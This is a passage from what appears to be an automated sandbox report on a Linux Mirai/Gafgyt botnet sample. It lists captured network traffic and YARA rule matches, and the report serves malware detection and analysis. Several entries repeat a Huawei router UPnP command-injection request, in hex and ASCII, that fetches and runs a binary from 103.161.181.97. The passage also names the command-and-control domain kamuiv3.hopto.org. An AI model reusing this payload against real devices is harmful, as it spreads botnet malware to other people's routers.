wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 36.220.195.163
Source: unknown TCP traffic detected without corresponding DNS query: 41.24.32.207
Source: unknown TCP traffic detected without corresponding DNS query: 190.198.11.63
Source: unknown TCP traffic detected without corresponding DNS query: 41.242.39.224
Source: unknown TCP traffic detected without corresponding DNS query: 157.26.87.133
Source: unknown TCP traffic detected without corresponding DNS query: 197.89.169.68
Source: unknown TCP traffic detected without corresponding DNS query: 76.99.245.93
Source: unknown TCP traffic detected without corresponding DNS query: 41.198.201.62
Source: unknown TCP traffic detected without corresponding DNS query: 156.103.226.156
Source: unknown TCP traffic detected without corresponding DNS query: 183.62.90.136
Source: unknown TCP traffic detected without corresponding DNS query: 149.119.186.237
Source: unknown TCP traffic detected without corresponding DNS query: 157.5.2.18
Source: unknown TCP traffic detected without corresponding DNS query: 41.152.184.159
Source: unknown TCP traffic detected without corresponding DNS query: 157.216.108.241
Source: unknown TCP traffic detected without corresponding DNS query: 125.33.207.14
Source: unknown TCP traffic detected without corresponding DNS query: 115.9.59.221
Source: unknown TCP traffic detected without corresponding DNS query: 157.134.14.1
Source: unknown TCP traffic detected without corresponding DNS query: 60.74.64.111
Source: unknown TCP traffic detected without corresponding DNS query: 157.40.121.156
Source: unknown TCP traffic detected without corresponding DNS query: 197.8.63.16
Source: unknown TCP traffic detected without corresponding DNS query: 132.111.249.4
Source: unknown TCP traffic detected without corresponding DNS query: 197.32.54.151
Source: unknown TCP traffic detected without corresponding DNS query: 69.175.58.192
Source: unknown TCP traffic detected without corresponding DNS query: 185.247.192.134
Source: unknown TCP traffic detected without corresponding DNS query: 41.17.139.34
Source: unknown TCP traffic detected without corresponding DNS query: 184.200.42.7
Source: unknown TCP traffic detected without corresponding DNS query: 157.143.186.196
Source: unknown TCP traffic detected without corresponding DNS query: 197.162.212.232
Source: unknown TCP traffic detected without corresponding DNS query: 157.226.249.173
Source: unknown TCP traffic detected without corresponding DNS query: 41.204.245.74
Source: unknown TCP traffic detected without corresponding DNS query: 41.204.127.28
Source: unknown TCP traffic detected without corresponding DNS query: 41.68.219.4
Source: unknown TCP traffic detected without corresponding DNS query: 197.162.131.20
Source: unknown TCP traffic detected without corresponding DNS query: 167.130.212.255
Source: unknown TCP traffic detected without corresponding DNS query: 143.207.8.71
Source: unknown TCP traffic detected without corresponding DNS query: 157.215.34.222
Source: unknown TCP traffic detected without corresponding DNS query: 219.76.204.174
Source: unknown TCP traffic detected without corresponding DNS query: 157.189.119.55
Source: unknown TCP traffic detected without corresponding DNS query: 41.59.192.2
Source: unknown TCP traffic detected without corresponding DNS query: 197.117.162.83
Source: unknown TCP traffic detected without corresponding DNS query: 43.179.170.100
Source: unknown TCP traffic detected without corresponding DNS query: 41.19.49.16
Source: unknown TCP traffic detected without corresponding DNS query: 50.189.204.48
Source: unknown TCP traffic detected without corresponding DNS query: 157.46.249.106
Source: unknown TCP traffic detected without corresponding DNS query: 41.128.130.208
Source: unknown TCP traffic detected without corresponding DNS query: 142.0.83.204
Source: unknown TCP traffic detected without corresponding DNS query: 197.223.83.218
Source: unknown TCP traffic detected without corresponding DNS query: 71.250.85.3
Source: unknown TCP traffic detected without corresponding DNS query: 197.28.70.32
Source: unknown TCP traffic detected without corresponding DNS query: 41.177.52.245
Source: XHZFo8hExw.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: XHZFo8hExw.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown DNS traffic detected: queries for: kamuiv3.hopto.org

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: Process Memory Space: XHZFo8hExw.elf PID: 6226, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Yara signature match
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: XHZFo8hExw.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6226.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
